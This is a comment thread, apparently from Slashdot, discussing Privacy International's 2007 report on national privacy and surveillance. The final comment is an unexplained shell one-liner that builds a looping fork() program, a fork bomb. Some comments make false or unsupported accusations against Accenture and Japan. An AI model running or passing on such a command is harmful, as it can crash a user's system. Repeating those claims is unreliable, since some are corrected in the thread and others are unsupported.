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Privacy International Releases 2007 Report
I Don't Believe in Imaginary Property writes "Privacy International has released their report on privacy for 2007, which includes a color-coded world map that highlights the countries with the best privacy laws, the privacy-hostile countries being in black. While many of the overall rankings may come as no surprise, it does highlight some of the more obscure abuses. For example, Venezuela requires your fingerprints just to get a phone and South Korea requires a government registration number linked to your identity before you can post on message boards. Makes you wonder who is Number One?"
The thing that concerns me is that Americans tout "freedom" and "liberties" on a daily basis as part of often over-exaggerated patriotism or often an excuse to conduct military missions (to "protect our freedom"). Americans will often even forgive infringements and attacks on our "freedom" and "liberty" by citing the supposed fact that we have so much of both and can apparently thereby afford to let a little of it slip away here and there for causes they deem worthy.
Yet for those who are aware of the world around them, it is easy to see great chunks of freedom, liberty and privacy being wrestled from our grasps on a daily basis. Usually without much defense on our part. We just hand it over. It's like being a passenger on an ocean liner and touting the safety and reliability of the vessel even as you wade across the submerged deck, up to your hips in salt water.
What it all really means, is "I can still buy a $5 latte and my favorite sit-com with the offensively stereo-typed ethnic characters is still on television and I can still follow my favorite commercial sports team, so I *must* have an ass-load of freedom!".
I will counter your "this data can't be accurate, because these nations have huge corporations in them which have privacy regulations to adhere to!" with "this data is entirely correct, precisely because they are home to huge corporations which sometimes have privacy regulations to adhere to, but often don't bother and are often not held responsible for it and at any rate have lobbiests in their employ to legislate for their advantage against the rights and privacy of the citizens of said country".
Note that the European Union seems to have protected its citizens (from terrorism) without abridging basic civil rights.
I cannot believe that this report does not include Japan's treatment legal "foreigners", including visitors, long term & permanent residents. Since late November, all of the these "foreigners" in Japan are now forced to be fingerprinted. Even worse, the corrupt Japanese government awarded the contract to collect the "foreigner" biometric data to the corrupt criminal organization Accenture (renamed Arthur Andersen) which did the falsified books for Enron and Worldcom. Accenture won the bid to collect the data for only (JPY)$100,000, approximately (USD)$900. You can bet that the Accenture paid the Japanese government a lot of money under the table in order to resell the biometric data to interested parties.
Maybe other countries should start fingerprinting Japanese visitors and residents, and then sell the biometric data to those Nigerian scammers.
This fingering of "foreigners" is even worse considering that Japan is the only first world nation not to have any anti-discrimination legislation, and legal "foreigners" in Japan are not even afforded even the mere basic of protection under the law. (Foreigners in Japan do have any Habeas Corpus and can be tortured in prison for up to 21 days. Testimony by foreigners in Japan has been ruled inadmissible in court, since there are not considered to be human by the Japanese ministry of Justice.)
they're all tagged 'endemic surveillance societies' - is the govt tapping phones without permission? watching your web traffic? got cameras all watching you in public? - that's all surveillance - seems right to me - I mean they have honking big machines in AT&T's backbones watching every packet and voice call that passes through
No we couldn't, we would spend to much time pointing out ... to much time... or .... too much time ? ;)
His point (which seems to have escaped you) is that many Americans aren't capable of even perceiving the problem.
And that's a problem.
The higher the technology, the sharper that two-edged sword.
Another point is that many Americans are capable of perceiving problems where there are not any problems.
And that too is a problem.
corrupt criminal organization Accenture (renamed Arthur Andersen)
Nope. Accenture was formerly named Andersen Consulting
which did the falsified books for Enron and Worldcom.
Nope. That was Arthur Andersen. Two different companies.
The value of "freedom" as an american ideal was a great thing and shaped the very foundations of our government. That value is long since dead. Early Americans understood the value of personal freedom. They were very diverse and many of them were immigrants from oppressive cultures. Even the strict puritans espoused a policy of letting those outside their community make choices they disapproved of.
Here's an experiment. Go find a few normal people and have a conversation with them about a few political topics. Notice that no matter what their political affiliation, the vast majority of them think it is just and ethical for them to pass laws to take choices away from others, even when those choices do not affect anyone else. Be it hunting bans or gay marriage or prohibiting heroin, nearly everyone is in favor of passing at least one law to tell other people how to live their lives. Ask them if they value freedom and they'll tell you they do, but ask them specifics and you'll see they don't mean it. They want everyone to be free so long as they don't make choices they disapprove of.
Freedom is the right of others to make choices you think are wrong and supporting freedom means supporting the right of others to make those wrong choices. Unless that value becomes important to Americans, our civil rights will continue to erode from both ends of the political spectrum and both major political parties.
How do you know? Maybe you're perceiving problems where there are not any problems too?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;